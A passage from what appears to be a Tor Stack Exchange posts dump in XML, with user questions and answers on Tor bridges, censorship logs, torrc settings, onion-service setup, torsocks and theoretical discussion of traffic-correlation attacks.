45.66.33.45:80/dir_port: connection_reset&#xA;tor: access 193.23.244.244:80/dir_port: connection_reset&#xA;TCPConnect 51.222.13.177:80... ok&#xA;TCPConnect 193.23.244.244:443... ok&#xA;TLSHandshake 193.23.244.244:443 with sni=... connection_reset&#xA;tor: access 193.23.244.244:443/or_port_dirauth: connection_reset&#xA;TCPConnect 192.95.36.142:443... ok&#xA;tor: access 51.222.13.177:80/obfs4: success&#xA;TCPConnect 37.218.245.14:38224... ok&#xA;tor: access 192.95.36.142:443/obfs4: success&#xA;TCPConnect 193.11.166.194:27025... ok&#xA;tor: access 37.218.245.14:38224/obfs4: success&#xA;TCPConnect 209.148.46.65:443... ok&#xA;tor: access 193.11.166.194:27025/obfs4: success&#xA;TCPConnect [2a0c:4d80:42:702::1]:27015... host_unreachable&#xA;tor: access [2a0c:4d80:42:702::1]:27015/obfs4: host_unreachable&#xA;tor: access 171.25.193.9:443/dir_port: connection_reset&#xA;tor: access 154.35.175.225:80/dir_port: connection_reset&#xA;TCPConnect 199.58.81.140:443... ok&#xA;TLSHandshake 199.58.81.140:443 with sni=... connection_reset&#xA;tor: access 199.58.81.140:443/or_port_dirauth: connection_reset&#xA;TCPConnect 204.13.164.118:443... ok&#xA;TLSHandshake 204.13.164.118:443 with sni=... connection_reset&#xA;tor: access 204.13.164.118:443/or_port_dirauth: connection_reset&#xA;TCPConnect 146.57.248.225:22... ok&#xA;tor: access 209.148.46.65:443/obfs4: success&#xA;TCPConnect 128.31.0.39:9101... ok&#xA;TLSHandshake 128.31.0.39:9101 with sni=... connection_reset&#xA;tor: access 128.31.0.39:9101/or_port_dirauth: connection_reset&#xA;tor: access 86.59.21.38:80/dir_port: connection_reset&#xA;TCPConnect 193.11.166.194:27020... ok&#xA;tor: access 146.57.248.225:22/obfs4: success&#xA;TCPConnect 144.217.20.138:80... ok&#xA;tor: access 193.11.166.194:27020/obfs4: success&#xA;TCPConnect 86.59.21.38:443... ok&#xA;TLSHandshake 86.59.21.38:443 with sni=... connection_reset&#xA;tor: access 86.59.21.38:443/or_port_dirauth: connection_reset&#xA;TCPConnect 45.66.33.45:443... ok&#xA;TLSHandshake 45.66.33.45:443 with sni=... connection_reset&#xA;tor: access 45.66.33.45:443/or_port_dirauth: connection_reset&#xA;TCPConnect 85.31.186.98:443... ok&#xA;tor: access 85.31.186.98:443/obfs4: success&#xA;TCPConnect 193.11.166.194:27015... ok&#xA;tor: access 193.11.166.194:27015/obfs4: success&#xA;TCPConnect 85.31.186.26:443... ok&#xA;tor: access 85.31.186.26:443/obfs4: success&#xA;TCPConnect 45.145.95.6:27015... ok&#xA;tor: access 45.145.95.6:27015/obfs4: success&#xA;tor: access 128.31.0.39:9131/dir_port: connection_reset&#xA;tor: access 66.111.2.131:9030/dir_port: connection_reset&#xA;tor: access 131.188.40.189:80/dir_port: connection_reset&#xA;TCPConnect 171.25.193.9:80... ok&#xA;TLSHandshake 171.25.193.9:80 with sni=... connection_reset&#xA;tor: access 171.25.193.9:80/or_port_dirauth: connection_reset&#xA;TCPConnect 154.35.175.225:443... ok&#xA;TLSHandshake 154.35.175.225:443 with sni=... connection_reset&#xA;tor: access 154.35.175.225:443/or_port_dirauth: connection_reset&#xA;tor: access 204.13.164.118:80/dir_port: connection_reset&#xA;tor: access 144.217.20.138:80/obfs4: context deadline exceeded&#xA;Submitting measurement... please, be patient&#xA;sessionresolver: [{&amp;quot;URL&amp;quot;:&amp;quot;https://cloudflare-dns.com/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.9999999999999901},{&amp;quot;URL&amp;quot;:&amp;quot;https://dns.google/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.999990091},{&amp;quot;URL&amp;quot;:&amp;quot;https://mozilla.cloudflare-dns.com/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.99990091},{&amp;quot;URL&amp;quot;:&amp;quot;http3://dns.google/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.000999999999991},{&amp;quot;URL&amp;quot;:&amp;quot;https://dns.quad9.net/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.0009999991000000001},{&amp;quot;URL&amp;quot;:&amp;quot;http3://mozilla.cloudflare-dns.com/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.0009100000000000002},{&amp;quot;URL&amp;quot;:&amp;quot;http3://cloudflare-dns.com/dns-query&amp;quot;,&amp;quot;Score&amp;quot;:0.00010000000000000003},{&amp;quot;URL&amp;quot;:&amp;quot;system:///&amp;quot;,&amp;quot;Score&amp;quot;:0}]```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38773" LastActivityDate="2023-08-20T21:12:58.550" Title="TOR VPN only allows usage for Google and gives an error for other applications" Tags="|orbot|vpn|torcheck|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23800" PostTypeId="2" ParentId="23521" CreationDate="2023-08-09T21:42:07.150" Score="0" Body="&lt;p&gt;The path to torrc is /Users/your_directory/Library/Application Support/TorBrowser-Data/Tor/torrc&#xA;Obviously, you have to replace &amp;quot;your directory&amp;quot; by the name of the user account on which you installed Tor.&lt;/p&gt;&#xA;" OwnerUserId="38779" LastActivityDate="2023-08-09T21:42:07.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23801" PostTypeId="1" AcceptedAnswerId="23804" CreationDate="2023-08-12T04:23:25.043" Score="0" ViewCount="89" Body="&lt;p&gt;I am in the process of setting up my first Tor Bridge:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bridge &amp;lt;firgerprint redacted&amp;gt; advertises:&#xA;&#xA;* obfs4: functional&#xA;  Last tested: 2023-08-12 03:23:02.954463531 +0000 UTC (43m55.667246855s ago)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I followed the official instructions for Ubuntu-based OS.&lt;/p&gt;&#xA;&lt;p&gt;One thing I do not understand, maybe for someone else it could be self-explanatory, but it sure isn't to me:&lt;/p&gt;&#xA;&lt;p&gt;Why do I need to have 2 different ports open and not just one? What makes them different?:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 1071  476K ACCEPT     tcp  --  any    any     anywhere             anywhere             tcp dpt:4xxxx /* Tor Bridge (Onion) */&#xA;47256   13M ACCEPT     tcp  --  any    any     anywhere             anywhere             tcp dpt:4yyyy /* Tor Bridge (obfs4) */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, as shown above, more packets/data flows through the obfs4 port, but feel free to elaborate and explain. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2023-08-13T21:26:02.343" Title="Bridge - Why do I need 2 different ports open?" Tags="|bridge|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23802" PostTypeId="1" AcceptedAnswerId="23803" CreationDate="2023-08-12T05:11:41.973" Score="2" ViewCount="294" Body="&lt;p&gt;As I have very limited ISP options, the one I chose is not IPv6-capable.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;nyx&lt;/code&gt; this message popped up onto me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Unable to find IPv6 address for ORPort 4xxxx. You might want to specify IPv4Only to it or set an explicit address or set Address.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I find it curious, that almost no where is this &lt;code&gt;IPv4Only&lt;/code&gt; option documented or at the very least said where to put it?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2023-08-12T05:11:41.973" Title="Unable to find IPv6 address for ORPort 4xxxx. You might want to specify IPv4Only to it or set an explicit address or set Address" Tags="|bridge|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23803" PostTypeId="2" ParentId="23802" CreationDate="2023-08-12T05:11:41.973" Score="1" Body="&lt;p&gt;Using search I found this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.torproject.org/t/how-do-i-configure-ipv4only-options-in-torrc-files/1273&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.torproject.org/t/how-do-i-configure-ipv4only-options-in-torrc-files/1273&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;which states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;ORPort&lt;/code&gt; &amp;lt; number &amp;gt; &lt;strong&gt;&lt;code&gt;IPv4Only&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;which I am testing right now,&lt;/p&gt;&#xA;&lt;p&gt;Further there is hint here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.torproject.org/t/need-to-disable-publishing-ipv6-addresses-in-relay-descriptor/1409&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.torproject.org/t/need-to-disable-publishing-ipv6-addresses-in-relay-descriptor/1409&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;which states another line, not sure I need it, &lt;code&gt;nyx&lt;/code&gt; is &lt;em&gt;happy&lt;/em&gt; it appears now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AddressDisableIPv6 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2023-08-12T05:11:41.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23804" PostTypeId="2" ParentId="23801" CreationDate="2023-08-13T21:26:02.343" Score="1" Body="&lt;p&gt;The onion port is for Tor's network &lt;em&gt;itself&lt;/em&gt; - and you always need it to be opened, so the other &lt;strong&gt;members&lt;/strong&gt; of the network can reach you. The Bridge port is where the pipelining happens: the connection is accepted from the client that is &lt;strong&gt;not a network member yet&lt;/strong&gt;, but wants to connect to. It's pipelined &lt;em&gt;through&lt;/em&gt; the pluggable transport to scramble/unscramble the &lt;em&gt;native&lt;/em&gt; Tor network protocol - so it's not visible to the censors that it is, but visible to the &lt;em&gt;local&lt;/em&gt; Tor instance of the bridge.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-13T21:26:02.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23805" PostTypeId="1" AcceptedAnswerId="23807" CreationDate="2023-08-14T01:23:57.147" Score="1" ViewCount="109" Body="&lt;p&gt;When I turn off my connection and connect again, Tor takes between 10 and 30 seconds to reconnect.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to force Tor reconnect immediately after network goes back?&lt;/p&gt;&#xA;" OwnerUserId="38513" LastActivityDate="2023-08-15T17:30:45.133" Title="Is there a way to force Tor reconnect immediately after network down?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23806" PostTypeId="1" CreationDate="2023-08-15T03:30:09.737" Score="0" ViewCount="52" Body="&lt;p&gt;The service is enabled and active, furthermore &lt;code&gt;journalctl -exft Tor&lt;/code&gt; says it is bootstrapped 100%.&lt;/p&gt;&#xA;&lt;p&gt;However running &lt;code&gt;torsocks on&lt;/code&gt; and trying to ping &lt;code&gt;hackage.haskell.org&lt;/code&gt; will return nothing, ditto for cargo and other rust related servers; indictating it is clearly not working at all.&lt;/p&gt;&#xA;&lt;p&gt;Both torsocks and tor were installed via dnf (version 4) at fedora 38. Any help would be greatly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;(Additional info:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tor browser is positively unfunctional and impossible to download atm so I only managed to get tor and torsocks, rather than tor-browser.&lt;/li&gt;&#xA;&lt;li&gt;I tried this in ubuntu derived pop os distro before and it worked after not working in first 3 hours. No idea why.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="38801" LastActivityDate="2023-08-20T21:09:57.437" Title="[Iran][Fedora] Torsocks doesn't work even though tor is installed and running" Tags="|torsocks|fedora|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23807" PostTypeId="2" ParentId="23805" CreationDate="2023-08-15T17:30:45.133" Score="1" Body="&lt;p&gt;no, and there is a good reason for it: 10 to 30 seconds are the default &lt;em&gt;timeouts&lt;/em&gt;, so it will &lt;strong&gt;not&lt;/strong&gt; hang unreconnected when your connection is back. Also - as practice shows us - this is a usual timing for a DHCP renewal from your upstream ISP, so these values are more than sane. Even if you could possibly force it to reconnect immediately - check the bootstapping timings in your log - you will not pop up connected to the Tor network instantly, so there's no goal in this&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-15T17:30:45.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23808" PostTypeId="1" CreationDate="2023-08-16T15:25:57.547" Score="0" ViewCount="72" Body="&lt;p&gt;Firstly, I'm using windows.I created the hostname, secret key and public key on windows. When I changed it, tor rewrites it every time I reopen tor.&lt;/p&gt;&#xA;&lt;p&gt;i replaced these 3 files with the keys i got from mkp224o.After that, when i try to change permissions tor doesn't work and gives this error.&lt;/p&gt;&#xA;&lt;p&gt;Error: “Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.”&lt;/p&gt;&#xA;&lt;p&gt;I tried these codes in my torrc file:&lt;/p&gt;&#xA;&lt;p&gt;The change I made to my torrc file :&lt;/p&gt;&#xA;&lt;p&gt;HiddenServiceDir C:\Users\Casper\Documents\Tor Browser\deneme&lt;/p&gt;&#xA;&lt;p&gt;HiddenServicePort 80 127.0.0.1:80&lt;/p&gt;&#xA;&lt;p&gt;sudo chown -R tor: C:\Users\Casper\Documents\Tor Browser\deneme&lt;/p&gt;&#xA;&lt;p&gt;sudo chmod -R u+rwX,og-rwx C:\Users\Casper\Documents\Tor Browser\deneme&lt;/p&gt;&#xA;&lt;p&gt;Also, I get the same error when I change permissions from properties in windows.&lt;/p&gt;&#xA;" OwnerUserId="38807" LastEditorUserId="38807" LastEditDate="2023-08-16T15:30:46.630" LastActivityDate="2023-08-20T21:10:58.050" Title="mkp224o v3 onion link get overwritten by tor" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23809" PostTypeId="1" CreationDate="2023-08-16T20:21:32.200" Score="0" ViewCount="63" Body="&lt;p&gt;A global passive attacker might be able to attempt various correlation attacks. In this example, I would like to calculate the number of IPs they would need to collect in order to have the IP address of the target client in their list, connecting to the guard node (I am not assuming their attack will be successful, just that their IP will be in the large list of candidates).&lt;/p&gt;&#xA;&lt;p&gt;Let’s consider this example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are 10,000 Tor relays, and 50,000 users connected to the Tor network.&lt;/li&gt;&#xA;&lt;li&gt;The global passive attacker observes 100% of the traffic.&lt;/li&gt;&#xA;&lt;li&gt;Relays 1, 2, and 3 are each connected to 500 different IPs (to communicate with the other relays, or the client’s IP for the guard relay (relay 1).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Typical connection pattern: Client &amp;gt; Relay 1 &amp;gt; Relay 2 &amp;gt; Relay 3 &amp;gt; Destination&lt;/p&gt;&#xA;&lt;p&gt;Thus, a global passive attacker could start by looking at all the IP addresses Relay 3 is talking to (500) and make a list.&#xA;Next, they would attempt to list all IPs that Relay 2 is in contact with. This is where it becomes a bit more complex, as even though the IP of Relay 2 is on the list, we don’t know which one it is among the 500 IPs (excluding correlation attacks), in order to know all the IPs it is communicating with, since each Tor client has a different path.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, I thought the correct calculation would be (500 x 500) + 500, totaling 250 500? (In reality, this could be translated as “each Tor relay is linked to all the other relays.”)&lt;/p&gt;&#xA;&lt;p&gt;The additional +500 lists the IPs of clients in contact with the guard node, as it doesn’t communicate with other relays, I haven’t multiplied this part.&lt;/p&gt;&#xA;&lt;p&gt;That sounds like the theory of the small world, which would significantly complicate the task of a global attacker.&lt;/p&gt;&#xA;" OwnerUserId="38808" LastEditorUserId="38808" LastEditDate="2023-08-17T15:17:04.203" LastActivityDate="2023-08-17T15:17:04.203" Title="How to calculate the number of IPs an overall passive attacker would obtain by examining a connection?" Tags="|relays|deanonymization|attacks|node|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23810" PostTypeId="2" ParentId="16976" CreationDate="2023-08-19T13:35:57.407" Score="0" Body="&lt;p&gt;This can solve your problem:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &amp;quot;Local&amp;quot; tool from &lt;a href=&quot;https://localwp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://localwp.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In WordPress settings set WordPress Address (URL) to: &lt;a href=&quot;http://youronionwebsite.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youronionwebsite.onion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In WordPress settings set Site Address (URL) to: &lt;a href=&quot;http://youronionwebsite.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youronionwebsite.onion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Local tool set Site domain and SSL to: &lt;a href=&quot;http://youronionwebsite.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youronionwebsite.onion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I think that problem is in webserver software, because all like XAMMP or WAMP running on Apache. Local works on Nginx and there works onion site on Tor from localhost perfectly!&lt;/p&gt;&#xA;" OwnerUserId="38817" LastActivityDate="2023-08-19T13:35:57.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23811" PostTypeId="2" ParentId="23806" CreationDate="2023-08-20T21:09:57.437" Score="0" Body="&lt;p&gt;torsocks does &lt;strong&gt;not&lt;/strong&gt; provide ICMP that is used for ping command because there's only TCP and UDP are available in SOCKS protocols family, but in Tor only TCP supported. So there's no way to do anything via ICMP via Tor&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-20T21:09:57.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23812" PostTypeId="2" ParentId="23808" CreationDate="2023-08-20T21:10:58.050" Score="0" Body="&lt;p&gt;Looks like your file is in wrong format because the changes you've made are actually correct. Also make sure that you're generating Onion v3 keys, not an older ones&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-20T21:10:58.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23813" PostTypeId="2" ParentId="23799" CreationDate="2023-08-20T21:12:58.550" Score="0" Body="&lt;p&gt;looking at your logs there're censors on your line - the &lt;em&gt;connection_reset&lt;/em&gt; clauses are facts of successful DPI intrusions/blocking. Or your bridges are dead, so no connection is possible to them, but it looks more likely as a DPI&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-20T21:12:58.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23814" PostTypeId="2" ParentId="13887" CreationDate="2023-08-20T21:17:08.003" Score="0" Body="&lt;p&gt;It's an open question: is it good that you can't have a SSL certificate for your onion? The truth is that the organizations selling you them now are regulated and can be enforced to shut them down, so - IMHO - only a decentralized CA can do the job &lt;em&gt;properly&lt;/em&gt;. Try looking at EmerSSL - it's an Emercoin built-in technology that can do this in a correct way: you're issuing your certificate and publishing it's public data in a decentralized manner, so no one can shut it down&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-20T21:17:08.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23815" PostTypeId="2" ParentId="4209" CreationDate="2023-08-21T01:37:04.120" Score="0" Body="&lt;p&gt;Fundamentally, the Tor browser hides your IP address from the service that you are talking to, and mitigates how the service might fingerprint you.  This happens on all the platforms that Tor browser supports.  Claiming that Windows Tor browser does any less is pretty much horseshit.  If this is all you need, using Tor on any platform is fine.&lt;/p&gt;&#xA;&lt;p&gt;If you want assurance that after you exit your Tor browser (say, running from an encrypted USB), no activity is left on your computer.  Windows is probably not a good platform as it's hard to gauge what traces are left, even with Tor browser.&lt;/p&gt;&#xA;&lt;p&gt;If you are prone to be running malware on your system, and you still expect Tor browser to protect your anonymity.  Well, good luck to you on any platform.  If I were your enemies, I would be happy that you think so.  If I were your confederate, I would run away from you as fast as I can move my behind.&lt;/p&gt;&#xA;" OwnerUserId="37103" LastActivityDate="2023-08-21T01:37:04.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23816" PostTypeId="1" CreationDate="2023-08-23T19:45:00.647" Score="1" ViewCount="67" Body="&lt;p&gt;I know that Tor introduced options for setting up a non-anonymous hidden service, &lt;a href=&quot;https://blog.cloudflare.com/welcome-hidden-resolver/#:%7E:text=How%20does%20the%20Cloudflare%20hidden,internal%20IP%20rather%20than%20yours.&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloudflare hidden resolver&lt;/a&gt; is an example of a non-anonymous one.&lt;/p&gt;&#xA;&lt;p&gt;I built a Tor binary to use 2 hops circuits for browsing speed, will it use 2 hops circuit to connect to non-anonymous hidden services or will it use 3 hops?&lt;/p&gt;&#xA;" OwnerUserId="38513" LastActivityDate="2023-08-28T14:25:23.270" Title="If I compile Tor to use 2 hops circuits, will it make 2 hops circuits to non-anonymous hidden services?" Tags="|onion-services|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23817" PostTypeId="2" ParentId="23816" CreationDate="2023-08-28T14:25:23.270" Score="1" Body="&lt;p&gt;The connections are &lt;strong&gt;made&lt;/strong&gt;, so the ones you're asking about will be &lt;em&gt;just made&lt;/em&gt; in the very same way. Reducing hop length rips off your anonymity, you must know...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-28T14:25:23.270" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23818" PostTypeId="2" ParentId="16976" CreationDate="2023-08-28T17:24:21.920" Score="0" Body="&lt;p&gt;The problem you're experiencing is not a Wordpress-specific one, it's a general problem for web applications. You have to set your &lt;em&gt;requested host name&lt;/em&gt; to the onion one to comply with HTTP 1.1 or 2.0 standard. To access your web application locally use your `hosts' file to pinpoint the webserver IP, i.e. 127.0.0.1, to the onion name to avoid this mess&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-08-28T17:24:21.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23819" PostTypeId="1" CreationDate="2023-09-01T13:29:22.120" Score="0" ViewCount="87" Body="&lt;p&gt;The most effective approach for an attacker would be to establish Tor routing and send packets to trigger a chain reaction across 3 or more relays.&lt;/p&gt;&#xA;&lt;p&gt;Now, couldn’t these attacks potentially be an opportunity to introduce noise into the network to make it more challenging for an attacker attempting correlations? Given that these attacks will continue to exist in the future, why not make them beneficial to the network?&lt;/p&gt;&#xA;&lt;p&gt;Certainly, this would require some adjustments in how relays handle or route packets to achieve the best possible anonymity and to prevent the attacker from varying their transmissions too abruptly, which could add metadata.&lt;/p&gt;&#xA;&lt;p&gt;Another challenge might be that the attacker themselves would have access to the routing path. It could be useful to include at least one intermediate hop that the user doesn’t know, and that varies for each packet sent.&lt;/p&gt;&#xA;&lt;p&gt;It’s a still highly theoretical idea I recently had, but I wanted to share it because I found it interesting.&lt;/p&gt;&#xA;" OwnerUserId="38808" LastActivityDate="2023-09-01T18:28:38.680" Title="And if DDoS attacks could enhance the anonymity of the Tor network?" Tags="|security|relays|deanonymization|attacks|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23820" PostTypeId="2" ParentId="23819" CreationDate="2023-09-01T18:28:38.680" Score="0" Body="&lt;p&gt;It will help, partially - but the goal that you're pointing to must be achieved in protocol itself, not in DDoS-like tools. Because the network overload &lt;strong&gt;will make&lt;/strong&gt; things a way more complicated for an analyzing adversary &lt;strong&gt;for sure&lt;/strong&gt; - and not just time correlations, but also almost any correlations will be impossible if D from DDoS will be &lt;em&gt;Distributed&lt;/em&gt; enough - but the price will be a heavy overhead for the network itself and - actually - DDoS &lt;strong&gt;must&lt;/strong&gt; have a target - so multiple &lt;em&gt;distributed&lt;/em&gt; targets are required for it - and a pretty tough ones to withstand the attack successfully... So -it will make things much worse than better if it will be done via DDoS as a method&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-09-01T18:28:38.680" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23821" PostTypeId="2" ParentId="22032" CreationDate="2023-09-05T04:30:18.037" Score="0" Body="&lt;p&gt;Onion services &lt;em&gt;expose&lt;/em&gt; a website served by a particular host &lt;strong&gt;anonymously&lt;/strong&gt; over the tor network, making the site accessible via an onion address (which masks the underlying host).&lt;/p&gt;&#xA;&lt;p&gt;You can follow the official guide &lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for setting up [an] onion service(s).&lt;/p&gt;&#xA;&lt;p&gt;That said, the guide specifically guides you in creating a very simple html document using Apache or Nginx - at the default virtual host location (i.e. &lt;code&gt;/var/lib/www&lt;/code&gt;, served over port 80 from localhost).&lt;/p&gt;&#xA;&lt;p&gt;It can also be a Node.js server, a Go application, a C++ service, a ktor app, a Java web application, etc. Anything that listens at the local address and responds to &lt;code&gt;http&lt;/code&gt; requests can be exposed over the tor network via an onion service.&lt;/p&gt;&#xA;&lt;p&gt;With that said, you have the full extent of tooling available for building websites at your disposal when designing an onion service.&lt;/p&gt;&#xA;&lt;p&gt;In response to your comment where you ask &lt;em&gt;❝What specific changes to the &lt;code&gt;torrc&lt;/code&gt; file need to be made?❞&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;guide&lt;/a&gt; walks you through creating two &lt;code&gt;torrc&lt;/code&gt; file changes in order to create an onion service exposing that plain-Jane HTML website over tor:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the line &lt;code&gt;HiddenServiceDir /var/lib/tor/my_website/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This line tells the tor service to expose a hidden (anonymous) service over the tor network, using the directory &lt;code&gt;/var/lib/tor/my_website&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the line &lt;code&gt;HiddenServicePort 80 127.0.0.1:80&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This line tells the tor service to proxy that hidden service it's exposing to a website/web service listening on &lt;em&gt;port&lt;/em&gt; &lt;code&gt;80&lt;/code&gt;, at the local address &lt;code&gt;127.0.0.1:80&lt;/code&gt;. In the case of the guide, this is a proxy to the default virtual host for Apache or Nginx (the guide walks you through a very simple quick-start install of either, asking you to put a single HTML file in the default host directory).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart the tor service via &lt;code&gt;sudo systemctl restart tor&lt;/code&gt; (or the comparable command on your host). If all goes well, the service will restart and create the directory (or directories) you specified per &lt;code&gt;HiddenServiceDir&lt;/code&gt; entry.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the &lt;code&gt;hostname&lt;/code&gt; file in the directory you specified for &lt;code&gt;HiddenServiceDir&lt;/code&gt;. This file will contain the onion address (v3) (your .onion hostname). The other files in the directory are your onion service keys and need to be kept private; To expose their content would allow others to impersonate your service, and this would defeat the purpose altogether.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The guide goes on to explain that you can add more addresses that serve that same anonymous site/service by adding more &lt;code&gt;HiddenServicePort&lt;/code&gt; lines, and that each subsequent &lt;code&gt;HiddenServicePort&lt;/code&gt; entry will refer to the hidden (onion) service specified at the &lt;strong&gt;last&lt;/strong&gt; &lt;code&gt;HiddenServiceDir&lt;/code&gt; entry made.&lt;/p&gt;&#xA;&lt;p&gt;This means that you can leverage additional entries for supporting a load balancing scenario over tor, or to setup several services under the same tor service (tor client on a particular host).&lt;/p&gt;&#xA;&lt;p&gt;As such, at the end of the day - a tor website (or &lt;em&gt;onion service&lt;/em&gt;) is simply a regular website (in the myriad of ways one can be built) exposed over tor.&lt;/p&gt;&#xA;" OwnerUserId="38894" LastEditorUserId="38894" LastEditDate="2023-09-05T04:35:46.037" LastActivityDate="2023-09-05T04:35:46.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23823" PostTypeId="1" CreationDate="2023-09-08T01:54:18.237" Score="0" ViewCount="34" Body="&lt;p&gt;Tor doesn't launch on a fresh Arch install with &amp;quot;XPCOMGlueLoad error&amp;quot; despite following all instructions available.&lt;/p&gt;&#xA;" OwnerUserId="34485" LastActivityDate="2023-09-08T01:54:18.237" Title="Tor doesn't launch on Arch with &quot;XPCOMGlueLoad error&quot;" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
